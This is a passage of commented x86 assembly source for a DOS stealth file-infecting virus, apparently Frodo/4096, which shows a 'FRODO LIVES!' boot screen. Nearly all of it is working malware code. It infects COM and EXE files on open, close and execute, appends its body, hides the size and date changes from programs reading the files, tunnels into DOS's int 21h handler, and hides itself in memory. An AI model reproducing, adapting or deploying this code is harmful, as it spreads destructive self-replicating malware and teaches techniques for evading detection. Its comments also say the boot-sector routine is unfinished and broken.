call restoreint13and24
pushf
cmp byte ptr cs:errorflag,0 ; check if any errors yet
je no_errors_createhandle
popf
will_exitotherint21:
jmp exitotherint21
no_errors_createhandle:
popf
jc other_error_createhandle; exit on error
mov bx,ax ; move handle to bx
mov ah,3Eh ; Close file
call callint21
jmp short openhandle
other_error_createhandle:
or byte ptr cs:int21flags,1; turn on the trap flag
mov [bp-4],ax ; set the return code properly
jmp _popall_then_exitint21
exit_create_handle:
pop cx
jmp exitotherint21
openhandle:
call getcurrentPSP
call checkdsdxokinfect
jc jmp_exitotherint21
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
je jmp_exitotherint21 ; entry in the table
call setup_infection ; open the file
cmp bx,0FFFFh ; error?
je jmp_exitotherint21 ; if so, exit
dec byte ptr cs:handlesleft
push cs
pop es
mov di,offset handletable
mov cx,14h
xor ax,ax ; find end of the table
repne scasw
mov ax,cs:currentPSP ; put the PSP value and the
mov es:[di-2],ax ; handle # in the table
mov es:[di+26h],bx
mov [bp-4],bx ; put handle # in return code
handleopenclose_exit:
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
jmp _popall_then_exitint21
jmp_exitotherint21:
jmp exitotherint21
handleclosefile:
push cs
pop es
call getcurrentPSP
mov di,offset handletable
mov cx,14h ; 14h entries max
mov ax,cs:currentPSP ; search for calling PSP
scanhandle_close:
repne scasw
jnz handlenotfound ; handle not trapped
cmp bx,es:[di+26h] ; does the handle correspond?
jne scanhandle_close ; if not, find another handle
mov word ptr es:[di-2],0 ; otherwise, clear handle
call infect_file
inc byte ptr cs:handlesleft ; fix handles left counter
jmp short handleopenclose_exit ; and exit
handlenotfound:
jmp exitotherint21
getdisktransferaddress:
push es
mov ah,2Fh ; Get disk transfer address
call callint21 ; to es:bx
push es
pop ds ; mov to ds:bx
pop es
retn
execute:
or al,al ; load and execute?
jz loadexecute ; yepper!
jmp checkloadnoexecute ; otherwise check if
; load/no execute
loadexecute:
push ds ; save filename
push dx
mov word ptr cs:parmblock,bx; save parameter block and
mov word ptr cs:parmblock+2,es; move to ds:si
lds si,dword ptr cs:parmblock
mov di,offset copyparmblock ; copy the parameter block
mov cx,0Eh
push cs
pop es
rep movsb
pop si ; copy the filename
pop ds ; to the buffer
mov di,offset copyfilename
mov cx,50h
rep movsb
mov bx,0FFFFh
call allocate_memory ; allocate available memory
call _popall
pop bp ; save the parameters
pop word ptr cs:saveoffset ; on the stack
pop word ptr cs:savesegment
pop word ptr cs:int21flags
mov ax,4B01h ; load/no execute
push cs ; ds:dx -> file name
pop es ; es:bx -> parameter block
mov bx,offset copyparmblock
pushf ; perform interrupt 21h
call dword ptr cs:oldint21
jnc continue_loadexecute ; continue if no error
or word ptr cs:int21flags,1; turn on trap flag
push word ptr cs:int21flags ; if error
push word ptr cs:savesegment ; restore stack
push word ptr cs:saveoffset
push bp ; restore the stack frame
mov bp,sp ; and restore ES:BX to
les bx,dword ptr cs:parmblock ; point to the parameter
jmp exitint21 ; block
continue_loadexecute:
call getcurrentPSP
push cs
pop es
mov di,offset handletable ; scan the handle table
mov cx,14h ; for the current PSP's
scanhandle_loadexecute: ; handles
mov ax,cs:currentPSP
repne scasw
jnz loadexecute_checkEXE
mov word ptr es:[di-2],0 ; clear entry in handle table
inc byte ptr cs:handlesleft ; fix handlesleft counter
jmp short scanhandle_loadexecute
loadexecute_checkEXE:
lds si,dword ptr cs:origcsip
cmp si,1 ; Check if EXE infected
jne loadexecute_checkCOM
mov dx,word ptr ds:oldheader+16h ; get initial CS
add dx,10h ; adjust for PSP
mov ah,51h ; Get current PSP segment
call callint21
add dx,bx ;adjust for start load segment
mov word ptr cs:origcsip+2,dx
push word ptr ds:oldheader+14h ; save old IP
pop word ptr cs:origcsip
add bx,10h ; adjust for the PSP
add bx,word ptr ds:oldheader+0Eh ; add old SS
mov cs:origss,bx
push word ptr ds:oldheader+10h ; old SP
pop word ptr cs:origsp
jmp short perform_loadexecute
loadexecute_checkCOM:
mov ax,[si] ; Check if COM infected
add ax,[si+2]
add ax,[si+4]
jz loadexecute_doCOM ; exit if already infected
push cs ; otherwise check to see
pop ds ; if it is suitable for
mov dx,offset copyfilename ; infection
call checkdsdxokinfect
call setup_infection
inc byte ptr cs:hideclustercountchange
call infect_file ; infect the file
dec byte ptr cs:hideclustercountchange
perform_loadexecute:
mov ah,51h ; Get current PSP segment
call callint21
call saveregs
call restoreBREAK
call swapvirint21
call restoreregs
mov ds,bx ; ds = current PSP segment
mov es,bx ; es = current PSP segment
push word ptr cs:int21flags ; restore stack parameters
push word ptr cs:savesegment
push word ptr cs:saveoffset
pop word ptr ds:[0Ah] ; Set terminate address in PSP
pop word ptr ds:[0Ch] ; to return address found on
; the stack
; (int 21h caller CS:IP)
push ds
lds dx,dword ptr ds:[0Ah] ; Get terminate address in PSP
mov al,22h ; Set terminate address to it
call setvect
pop ds
popf
pop ax
mov ss,cs:origss ; restore the stack
mov sp,cs:origsp ; and
jmp dword ptr cs:origcsip ; perform the execute
loadexecute_doCOM:
mov bx,[si+1] ; restore original COM file
mov ax,word ptr ds:[bx+si-261h]
mov [si],ax
mov ax,word ptr ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,word ptr ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_loadexecute
checkloadnoexecute:
cmp al,1
je loadnoexecute
jmp exitotherint21
loadnoexecute:
or word ptr cs:int21flags,1; turn on trap flag
mov word ptr cs:parmblock,bx; save pointer to parameter
mov word ptr cs:parmblock+2,es ; block
call _popall
call callint21 ; chain to int 21h
call _pushall
les bx,dword ptr cs:parmblock ; restore pointer to
; parameter block
lds si,dword ptr es:[bx+12h]; get cs:ip on execute return
jc exit_loadnoexecute
and byte ptr cs:int21flags,0FEh ; turn off trap flag
cmp si,1 ; check for EXE infection
je loadnoexecute_EXE_already_infected
; infected if initial IP = 1
mov ax,[si] ; check for COM infection
add ax,[si+2] ; infected if checksum = 0
add ax,[si+4]
jnz perform_the_execute
mov bx,[si+1] ; get jmp location
mov ax,ds:[bx+si-261h] ; restore original COM file
mov [si],ax
mov ax,ds:[bx+si-25Fh]
mov [si+2],ax
mov ax,ds:[bx+si-25Dh]
mov [si+4],ax
jmp short perform_the_execute
loadnoexecute_EXE_already_infected:
mov dx,word ptr ds:oldheader+16h ; get entry CS:IP
call getcurrentPSP
mov cx,cs:currentPSP
add cx,10h ; adjust for PSP
add dx,cx
mov es:[bx+14h],dx ; alter the entry point CS
mov ax,word ptr ds:oldheader+14h
mov es:[bx+12h],ax
mov ax,word ptr ds:oldheader+0Eh ; alter stack
add ax,cx
mov es:[bx+10h],ax
mov ax,word ptr ds:oldheader+10h
mov es:[bx+0Eh],ax
perform_the_execute:
call getcurrentPSP
mov ds,cs:currentPSP
mov ax,[bp+2] ; restore length as held in
mov word ptr ds:oldheader+6,ax
mov ax,[bp+4] ; the EXE header
mov word ptr ds:oldheader+8,ax
exit_loadnoexecute:
jmp _popall_then_exitint21
getDOSversion:
mov byte ptr cs:hide_size,0
mov ah,2Ah ; Get date
call callint21
cmp dx,916h ; September 22?
jb exitDOSversion ; leave if not
call writebootblock ; this is broken
exitDOSversion:
jmp exitotherint21
infect_file:
call replaceint13and24
call findnextparagraphboundary
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
je clearlyisanEXE ; EXE header
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
je clearlyisanEXE ; EXE header
dec byte ptr ds:EXEflag ; if neither, assume is a
jz try_infect_com ; COM file
clearlyisanEXE:
mov ax,ds:lengthinpages ; get file size in pages
shl cx,1 ; and convert it to
mul cx ; bytes
add ax,200h ; add 512 bytes
cmp ax,si
jb go_exit_infect_file
mov ax,ds:minmemory ; make sure min and max memory
or ax,ds:maxmemory ; are not both zero
jz go_exit_infect_file
mov ax,ds:filesizelow ; get filesize in dx:ax
mov dx,ds:filesizehigh
mov cx,200h ; convert to pages
div cx
or dx,dx ; filesize multiple of 512?
jz filesizemultiple512 ; then don't increment #
inc ax ; pages
filesizemultiple512:
mov ds:lengthinpages,ax ; put in new values for length
mov ds:lengthMOD512,dx ; fields
cmp word ptr ds:initialIP,1 ; check if already infected
je exit_infect_file
mov word ptr ds:initialIP,1 ; set new entry point
mov ax,si ; calculate new entry point
sub ax,ds:headersize ; segment
mov ds:initialcs,ax ; put this in for cs
add word ptr ds:lengthinpages,8 ; 4K more
mov ds:initialSS,ax ; put entry segment in for SS
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
call finish_infection
go_exit_infect_file:
jmp short exit_infect_file
try_infect_com:
cmp si,0F00h ; make sure file is under
jae exit_infect_file ; F00h paragraphs or else
; it will be too large once it
; is infected
mov ax,ds:readbuffer ; first save first 6 bytes
mov word ptr ds:oldheader,ax
add dx,ax
mov ax,ds:readbuffer+2
mov word ptr ds:oldheader+2,ax
add dx,ax
mov ax,ds:readbuffer+4
mov word ptr ds:oldheader+4,ax
add dx,ax ; exit if checksum = 0
jz exit_infect_file ; since then it is already
; infected
mov cl,0E9h ; encode jmp instruction
mov byte ptr ds:readbuffer,cl
mov ax,10h ; find file size
mul si
add ax,offset entervirus-3 ; calculate offset of jmp
mov word ptr ds:readbuffer+1,ax ; encode it
mov ax,ds:readbuffer ; checksum it to 0
add ax,ds:readbuffer+2
neg ax
mov ds:readbuffer+4,ax
call finish_infection
exit_infect_file:
mov ah,3Eh ; Close file
call callint21
call restoreint13and24
retn
findnextparagraphboundary:
push cs
pop ds
mov ax,5700h ; Get file time/date
call callint21
mov ds:filetime,cx
mov ds:filedate,dx
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset oldheader
call callint21
mov ax,4202h ; Go to end of file
xor cx,cx
mov dx,cx
call callint21
mov ds:filesizelow,ax ; save filesize
mov ds:filesizehigh,dx
mov di,ax
add ax,0Fh ; round to nearest paragraph
adc dx,0 ; boundary
and ax,0FFF0h
sub di,ax ; di=# bytes to next paragraph
mov cx,10h ; normalize filesize
div cx ; to paragraphs
mov si,ax ; si = result
retn
finish_infection:
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,40h ; Write new header to file
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,10h ; convert paragraph boundary
mul si ; to a byte value
mov cx,dx
mov dx,ax
mov ax,4200h ; go to first paragraph
call callint21 ; boundary at end of file
xor dx,dx
mov cx,1000h
add cx,di
mov ah,40h ; Concatenate virus to file
call callint21
mov ax,5701h ; Restore file time/date
mov cx,ds:filetime
mov dx,ds:filedate
test dh,80h ; check for infection bit
jnz highbitset
add dh,0C8h ; alter if not set yet
highbitset:
call callint21
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
jb exit_finish_infection ; do not hide the alteration
; in cluster count
cmp byte ptr ds:hideclustercountchange,0
je exit_finish_infection
push bx
mov dl,ds:filedrive
mov ah,32h ; Get drive parameter block
call callint21 ; for drive dl
mov ax,cs:numfreeclusters
mov [bx+1Eh],ax ; alter free cluster count
pop bx
exit_finish_infection:
retn
checkFCBokinfect:
call saveregs
mov di,dx
add di,0Dh ; skip to extension
push ds
pop es
jmp short performchecksum ; and check checksum for valid
; checksum
checkdsdxokinfect:
call saveregs
push ds
pop es
mov di,dx
mov cx,50h ; max filespec length
xor ax,ax
mov bl,0 ; default drive
cmp byte ptr [di+1],':' ; Is there a drive spec?
jne ondefaultdrive ; nope, skip it
mov bl,[di] ; yup, get drive
and bl,1Fh ; and convert to number
ondefaultdrive:
mov cs:filedrive,bl
repne scasb ; find terminating 0 byte
performchecksum:
mov ax,[di-3]
and ax,0DFDFh ; convert to uppercase
add ah,al
mov al,[di-4]
and al,0DFh ; convert to uppercase
add al,ah
mov byte ptr cs:EXEflag,0 ; assume COM file
cmp al,0DFh ; COM checksum?
je COMchecksum
inc byte ptr cs:EXEflag ; assume EXE file
cmp al,0E2h ; EXE checksum?
jne otherchecksum
COMchecksum:
call restoreregs
clc ; mark no error
retn
otherchecksum:
call restoreregs
stc ; mark error
retn
getcurrentPSP:
push bx
mov ah,51h ; Get current PSP segment
call callint21
mov cs:currentPSP,bx ; store it
pop bx
retn
setup_infection:
call replaceint13and24
push dx
mov dl,cs:filedrive
mov ah,36h ; Get disk free space
call callint21
mul cx ; ax = bytes per cluster
mul bx ; dx:ax = bytes free space
mov bx,dx
pop dx
or bx,bx ; less than 65536 bytes free?
jnz enough_free_space ; hopefully not
cmp ax,4000h ; exit if less than 16384
jb exit_setup_infection ; bytes free
enough_free_space:
mov ax,4300h ; Get file attributes
call callint21
jc exit_setup_infection ; exit on error
mov di,cx ; di = attributes
xor cx,cx
mov ax,4301h ; Clear file attributes
call callint21
cmp byte ptr cs:errorflag,0 ; check for errors
jne exit_setup_infection
mov ax,3D02h ; Open file read/write
call callint21
jc exit_setup_infection ; exit on error
mov bx,ax ; move handle to bx
; xchg bx,ax is superior
mov cx,di
mov ax,4301h ; Restore file attributes
call callint21
push bx
mov dl,cs:filedrive ; Get file's drive number
mov ah,32h ; Get drive parameter block
call callint21 ; for disk dl
mov ax,[bx+1Eh] ; Get free cluster count
mov cs:numfreeclusters,ax ; and save it
pop bx ; return handle
call restoreint13and24
retn
exit_setup_infection:
xor bx,bx
dec bx ; return bx=-1 on error
call restoreint13and24
retn
checkforinfection:
push cx
push dx
push ax
mov ax,4400h ; Get device information
call callint21 ; (set hide_size = 2)
xor dl,80h
test dl,80h ; Character device? If so,
jz exit_checkforinfection ; exit; cannot be infected
mov ax,5700h ; Otherwise get time/date
call callint21
test dh,80h ; Check year bit for infection
exit_checkforinfection:
pop ax
pop dx
pop cx
retn
obtainfilesize:
call saveregs
mov ax,4201h ; Get current file position
xor cx,cx
xor dx,dx
call callint21
mov cs:curfileposlow,ax
mov cs:curfileposhigh,dx
mov ax,4202h ; Go to end of file
xor cx,cx
xor dx,dx
call callint21
mov cs:filesizelow,ax
mov cs:filesizehigh,dx
mov ax,4200h ; Return to file position
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
call callint21
call restoreregs
retn
getsetfiletimedate:
or al,al ; Get time/date?
jnz checkifsettimedate ; if not, see if Set time/date
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
call _popall
call callint21
jc gettimedate_error ; exit on error
test dh,80h ; check year bit if infected
jz gettimedate_notinfected
sub dh,0C8h ; if so, hide change
gettimedate_notinfected:
jmp exitint21
gettimedate_error:
or word ptr cs:int21flags,1; turn on trap flag
jmp exitint21
checkifsettimedate:
cmp al,1 ; Set time/date?
jne exit_filetimedate_pointer
and word ptr cs:int21flags,0FFFEh ; turn off trap flag
test dh,80h ; Infection bit set?
jz set_yearbitset
sub dh,0C8h ; clear infection bit
set_yearbitset:
call checkforinfection
jz set_datetime_nofinagle
add dh,0C8h ; set infection flag
set_datetime_nofinagle:
call callint21
mov [bp-4],ax
adc word ptr cs:int21flags,0; turn on/off trap flag
jmp _popall_then_exitint21 ; depending on result
handlemovefilepointer:
cmp al,2
jne exit_filetimedate_pointer
call checkforinfection
jz exit_filetimedate_pointer
sub word ptr [bp-0Ah],1000h ; hide file size
sbb word ptr [bp-8],0
exit_filetimedate_pointer:
jmp exitotherint21
handleread:
and byte ptr cs:int21flags,0FEh ; clear trap flag
call checkforinfection ; exit if it is not
jz exit_filetimedate_pointer ; infected -- no need
; to do stealthy stuff
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow ; store the file size
mov dx,cs:filesizehigh
sub ax,1000h ; get uninfected file size
sbb dx,0
sub ax,cs:curfileposlow ; check if currently in
sbb dx,cs:curfileposhigh ; virus code
jns not_in_virus_body ; continue if not
mov word ptr [bp-4],0 ; set return code = 0
jmp handleopenclose_exit
not_in_virus_body:
jnz not_reading_header
cmp ax,cx ; reading from header?
ja not_reading_header
mov cs:savelength,ax ; # bytes into header
not_reading_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; if reading > 64K into file,
jnz finish_reading ; then no problems
cmp dx,1Ch ; if reading from header, then
jbe reading_from_header ; do stealthy stuff
finish_reading:
mov dx,cs:savebuffer
mov cx,cs:savelength
mov ah,3Fh ; read file
call callint21
add ax,cs:return_code ; ax = bytes read
mov [bp-4],ax ; set return code properly
jmp _popall_then_exitint21
reading_from_header:
mov si,dx
mov di,dx
add di,cs:savelength
cmp di,1Ch ; reading all of header?
jb read_part_of_header ; nope, calculate how much
xor di,di
jmp short do_read_from_header
read_part_of_header:
sub di,1Ch
neg di
do_read_from_header:
mov ax,dx
mov cx,cs:filesizehigh ; calculate location in
mov dx,cs:filesizelow ; the file of the virus
add dx,0Fh ; storage area for the
adc cx,0 ; original 1Ch bytes of
and dx,0FFF0h ; the file
sub dx,0FFCh
sbb cx,0
add dx,ax
adc cx,0
mov ax,4200h ; go to that location
call callint21
mov cx,1Ch
sub cx,di
sub cx,si
mov ah,3Fh ; read the original header
mov dx,cs:savebuffer
call callint21
add cs:savebuffer,ax
sub cs:savelength,ax
add cs:return_code,ax
xor cx,cx ; go past the virus's header
mov dx,1Ch
mov ax,4200h
call callint21
jmp finish_reading ; and continue the reading
handlewrite:
and byte ptr cs:int21flags,0FEh ; turn off trap flag
call checkforinfection
jnz continue_handlewrite
jmp exit_filetimedate_pointer
continue_handlewrite:
mov cs:savelength,cx
mov cs:savebuffer,dx
mov word ptr cs:return_code,0
call obtainfilesize
mov ax,cs:filesizelow
mov dx,cs:filesizehigh
sub ax,1000h ; calculate original file
sbb dx,0 ; size
sub ax,cs:curfileposlow ; writing from inside the
sbb dx,cs:curfileposhigh ; virus?
js finish_write ; if not, we can continue
jmp short write_inside_virus; otherwise, fixup some stuff
finish_write:
call replaceint13and24
push cs
pop ds
mov dx,ds:filesizelow ; calculate location in file
mov cx,ds:filesizehigh ; of the virus storage of the
add dx,0Fh ; original 1Ch bytes of the
adc cx,0 ; file
and dx,0FFF0h
sub dx,0FFCh
sbb cx,0
mov ax,4200h
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,3Fh ; read original header
call callint21
mov ax,4200h ; go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov dx,offset oldheader
mov cx,1Ch
mov ah,40h ; write original header to
call callint21 ; the file
mov dx,0F000h ; go back 4096 bytes
mov cx,0FFFFh ; from the end of the
mov ax,4202h ; file and
call callint21
mov ah,40h ; truncate the file
xor cx,cx ; at that position
call callint21
mov dx,ds:curfileposlow ; Go to current file position
mov cx,ds:curfileposhigh
mov ax,4200h
call callint21
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jz high_bit_aint_set
sub dh,0C8h ; restore file date
mov ax,5701h ; put it onto the disk
call callint21
high_bit_aint_set:
call restoreint13and24
jmp exitotherint21
write_inside_virus:
jnz write_inside_header ; write from start of file?
cmp ax,cx
ja write_inside_header ; write from inside header?
jmp finish_write
write_inside_header:
mov dx,cs:curfileposlow
mov cx,cs:curfileposhigh
or cx,cx ; Reading over 64K?
jnz writemorethan1Chbytes
cmp dx,1Ch ; Reading over 1Ch bytes?
ja writemorethan1Chbytes
jmp finish_write
writemorethan1Chbytes:
call _popall
call callint21 ; chain to int 21h
; (allow write to take place)
call _pushall
mov ax,5700h ; Get file time/date
call callint21
test dh,80h
jnz _popall_then_exitint21_
add dh,0C8h
mov ax,5701h ; restore file date
call callint21
_popall_then_exitint21_:
jmp _popall_then_exitint21
jmp exitotherint21
int13:
pop word ptr cs:int13tempCSIP ; get calling CS:IP off
pop word ptr cs:int13tempCSIP+2 ; the stack
pop word ptr cs:int13flags
and word ptr cs:int13flags,0FFFEh ; turn off trap flag
cmp byte ptr cs:errorflag,0 ; any errors yet?
jne exitint13error ; yes, already an error
push word ptr cs:int13flags
call dword ptr cs:origints
jnc exitint13
inc byte ptr cs:errorflag ; mark error
exitint13error:
stc ; mark error
exitint13:
jmp dword ptr cs:int13tempCSIP ; return to caller
int24:
xor al,al ; ignore error
mov byte ptr cs:errorflag,1 ; mark error
iret
replaceint13and24:
mov byte ptr cs:errorflag,0 ; clear errors
call saveregs
push cs
pop ds
mov al,13h ; save int 13 handler
call getint
mov word ptr ds:origints,bx
mov word ptr ds:origints+2,es
mov word ptr ds:oldint13,bx
mov word ptr ds:oldint13+2,es
mov dl,0
mov al,0Dh ; fixed disk interrupt
call getint
mov ax,es
cmp ax,0C000h ; is there a hard disk?
jae harddiskpresent ; C000+ is in BIOS
mov dl,2
harddiskpresent:
mov al,0Eh ; floppy disk interrupt
call getint
mov ax,es
cmp ax,0C000h ; check if floppy
jae floppypresent
mov dl,2
floppypresent:
mov ds:tracemode,dl
call replaceint1
mov ds:savess,ss ; save stack
mov ds:savesp,sp
push cs ; save these on stack for
mov ax,offset setvirusints ; return to setvirusints
push ax
mov ax,70h
mov es,ax
mov cx,0FFFFh
mov al,0CBh ; retf
xor di,di
repne scasb ;scan es:di for retf statement
dec di ; es:di->retf statement
pushf
push es ; set up stack for iret to
push di ; the retf statement which
; will cause transfer of
; control to setvirusints
pushf
pop ax
or ah,1 ; turn on the trap flag
push ax
in al,21h ; save IMR in temporary
mov ds:saveIMR,al ; buffer and then
mov al,0FFh ; disable all the
out 21h,al ; interrupts
popf
xor ax,ax ; reset disk
jmp dword ptr ds:origints ; (int 13h call)
; then transfer control to
setvirusints: ; setvirusints
lds dx,dword ptr ds:oldint1
mov al,1 ; restore old int 1 handler
call setvect
push cs
pop ds
mov dx,offset int13 ; replace old int 13h handler
mov al,13h ; with virus's
call setvect
mov al,24h ; Get old critical error
call getint ; handler and save its
mov word ptr ds:oldint24,bx ; location
mov word ptr ds:oldint24+2,es
mov dx,offset int24
mov al,24h ; Replace int 24 handler
call setvect ; with virus's handler
call restoreregs
retn
restoreint13and24:
call saveregs
lds dx,dword ptr cs:oldint13
mov al,13h
call setvect
lds dx,dword ptr cs:oldint24
mov al,24h
call setvect
call restoreregs
retn
disableBREAK:
mov ax,3300h ; Get current BREAK setting
call callint21
mov cs:BREAKsave,dl
mov ax,3301h ; Turn BREAK off
xor dl,dl
call callint21
retn
restoreBREAK:
mov dl,cs:BREAKsave
mov ax,3301h ; restore BREAK setting
call callint21
retn
_pushall:
pop word ptr cs:pushpopalltempstore
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
jmp word ptr cs:pushpopalltempstore
swapvirint21:
les di,dword ptr cs:oldint21; delve into original int
mov si,offset jmpfarptr ; handler and swap the first
push cs ; 5 bytes. This toggles it
pop ds ; between a jmp to the virus
cld ; code and the original 5
mov cx,5 ; bytes of the int handler
swapvirint21loop: ; this is a tunnelling method
lodsb ; if I ever saw one
xchg al,es:[di] ; puts the bytes in DOS's
mov [si-1],al ; int 21h handler
inc di
loop swapvirint21loop
retn
_popall:
pop word ptr cs:pushpopalltempstore
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:pushpopalltempstore
restoreregs:
mov word ptr cs:storecall,offset _popall
jmp short do_saverestoreregs
saveregs:
mov word ptr cs:storecall,offset _pushall
do_saverestoreregs:
mov cs:storess,ss ; save stack
mov cs:storesp,sp
push cs
pop ss
mov sp,cs:stackptr ; set new stack
call word ptr cs:storecall
mov cs:stackptr,sp ; update internal stack ptr
mov ss,cs:storess ; and restore stack to
mov sp,cs:storesp ; caller program's stack
retn
replaceint1:
mov al,1 ; get the old interrupt
call getint ; 1 handler and save it
mov word ptr cs:oldint1,bx ; for later restoration
mov word ptr cs:oldint1+2,es
push cs
pop ds
mov dx,offset int1 ; set int 1 handler to
call setvect ; the virus int handler
retn
allocatememory:
call allocate_memory
jmp exitotherint21
allocate_memory:
cmp byte ptr cs:checkres,0 ; installed check
je exitallocate_memory ; exit if installed
cmp bx,0FFFFh ; finding total memory?
jne exitallocate_memory ; (virus trying to install?)
mov bx,160h ; allocate memory to virus
call callint21
jc exitallocate_memory ; exit on error
mov dx,cs
cmp ax,dx
jb continue_allocate_memory
mov es,ax
mov ah,49h ; Free memory
call callint21
jmp short exitallocate_memory
continue_allocate_memory:
dec dx ; get segment of MCB
mov ds,dx
mov word ptr ds:[1],0 ; mark unused MCB
inc dx ; go to memory area
mov ds,dx
mov es,ax
push ax
mov word ptr cs:int21store+2,ax ; fixup segment
xor si,si
mov di,si
mov cx,0B00h
rep movsw ; copy virus up there
dec ax ; go to MCB
mov es,ax
mov ax,cs:ownerfirstMCB ; get DOS PSP ID
mov es:[1],ax ; make vir ID = DOS PSP ID
mov ax,offset exitallocate_memory
push ax
retf
exitallocate_memory:
retn
get_device_info:
mov byte ptr cs:hide_size,2
jmp exitotherint21
callint21: ; call original int 21h handler (tunnelled)
pushf
call dword ptr cs:oldint21
retn
bootblock:
cli
xor ax,ax ; set new stack just below
mov ss,ax ; start of load area for
mov sp,7C00h ; boot block
jmp short enter_bootblock
borderchars db 'ÜÜÜ '
FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
db 11111001b,11100000b,11100011b,11000011b,10000000b
db 10000001b,00010001b,00010010b,00100100b,01000000b
db 10000001b,00010001b,00010010b,00100100b,01000000b
db 11110001b,11110001b,00010010b,00100100b,01000000b
db 10000001b,00100001b,00010010b,00100100b,01000000b
db 10000001b,00010000b,11100011b,11000011b,10000000b
db 00000000b,00000000b,00000000b,00000000b,00000000b
db 00000000b,00000000b,00000000b,00000000b,00000000b
db 10000010b,01000100b,11111000b,01110000b,11000000b
db 10000010b,01000100b,10000000b,10001000b,11000000b
db 10000010b,01000100b,10000000b,10000000b,11000000b
db 10000010b,01000100b,11110000b,01110000b,11000000b
db 10000010b,00101000b,10000000b,00001000b,11000000b
db 10000010b,00101000b,10000000b,10001000b,00000000b
db 11110010b,00010000b,11111000b,01110000b,11000000b
enter_bootblock:
push cs
pop ds
mov dx,0B000h ; get video page in bh
mov ah,0Fh ; get video mode in al
int 10h ; get columns in ah
cmp al,7 ; check if colour
je monochrome
mov dx,0B800h ; colour segment
monochrome:
mov es,dx ; es->video segment
cld
xor di,di
mov cx,25*80 ; entire screen
mov ax,720h ; ' ', normal attribute
rep stosw ; clear the screen
mov si,7C00h+FRODO_LIVES-bootblock
mov bx,2AEh
morelinestodisplay:
mov bp,5
mov di,bx
displaymorebackgroundontheline:
lodsb ; get background pattern
mov dh,al
mov cx,8
displayinitialbackground:
mov ax,720h
shl dx,1
jnc spacechar
mov al,'Ü'
spacechar:
stosw
loop displayinitialbackground
dec bp
jnz displaymorebackgroundontheline
add bx,80*2 ; go to next line
cmp si,7C00h+enter_bootblock-bootblock
jb morelinestodisplay
mov ah,1 ; set cursor mode to cx
int 10h
mov al,8 ; set new int 8 handler
mov dx,7C00h+int8-bootblock ; to spin border
call setvect
mov ax,7FEh ; enable timer interrupts only
out 21h,al
sti
xor bx,bx
mov cx,1
jmp short $ ; loop forever while
; spinning the border
int8: ; the timer interrupt spins
dec cx ; the border
jnz endint8
xor di,di
inc bx
call spin_border
call spin_border
mov cl,4 ; wait 4 more ticks until
endint8: ; next update
mov al,20h ; Signal end of interrupt
out 20h,al
iret
spin_border:
mov cx,28h ; do 40 characters across
dohorizontal:
call lookup_border_char
stosw
stosw
loop dohorizontal
patch2:
add di,9Eh ; go to next line
mov cx,17h ; do for next 23 lines
dovertical: ; handle vertical borders
call lookup_border_char ; get border character
stosw ; print it on screen
patch3:
add di,9Eh ; go to next line
loop dovertical
patch1:
std
; this code handles the other half of the border
xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
xor byte ptr ds:[7C00h+patch2-bootblock+1],28h
xor byte ptr ds:[7C00h+patch3-bootblock+1],28h
retn
lookup_border_char:
and bx,3 ; find corresponding border
mov al,ds:[bx+7C00h+borderchars-bootblock]
inc bx ; character
retn
setvect:
push es
push bx
xor bx,bx
mov es,bx
mov bl,al ; int # to bx
shl bx,1 ; int # * 4 = offset in
shl bx,1 ; interrupt table
mov es:[bx],dx ; set the vector in the
mov es:[bx+2],ds ; interrupt table
pop bx
pop es
retn
writebootblock: ; this is an unfinished subroutine; it doesn't work properly
call replaceint13and24
mov dl,80h
db 0E8h, 08h, 00h, 32h,0D2h,0E8h
db 03h, 01h, 00h, 9Ah, 0Eh, 32h
db 08h, 70h, 00h, 33h, 0Eh, 2Eh
db 03h, 6Ch, 15h, 03h, 00h, 26h
db 00h, 00h, 00h, 21h, 00h, 50h
db 12h, 65h, 14h, 82h, 08h, 00h
db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h
db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch
db 15h,0E2h, 0Ch, 1Eh, 93h, 00h
db 00h,0E2h, 0Ch, 50h
org 1200h
readbuffer dw ? ; beginning of the read buffer
lengthMOD512 dw ? ; EXE header item - length of image modulo 512
lengthinpages dw ? ; EXE header item - length of image in pages
relocationitems dw ? ; EXE header item - # relocation items
headersize dw ? ; EXE header item - header size in paragraphs
minmemory dw ? ; EXE header item - minimum memory allocation
maxmemory dw ? ; EXE header item - maximum memory allocation
initialSS dw ? ; EXE header item - initial SS value
initialSP dw ? ; EXE header item - initial SP value
wordchecksum dw ? ; EXE header item - checksum value
initialIP dw ? ; EXE header item - initial IP value
initialCS dw ? ; EXE header item - initial CS value
db 12 dup (?) ; rest of header - unused
parmblock dd ? ; address of parameter block
filedrive db ? ; 0 = default drive
filetime dw ? ; saved file time
filedate dw ? ; saved file date
origints dd ? ; temporary scratch buffer for interrupt vectors
oldint1 dd ? ; original interrupt 1 vector
oldint21 dd ? ; original interrupt 21h vector
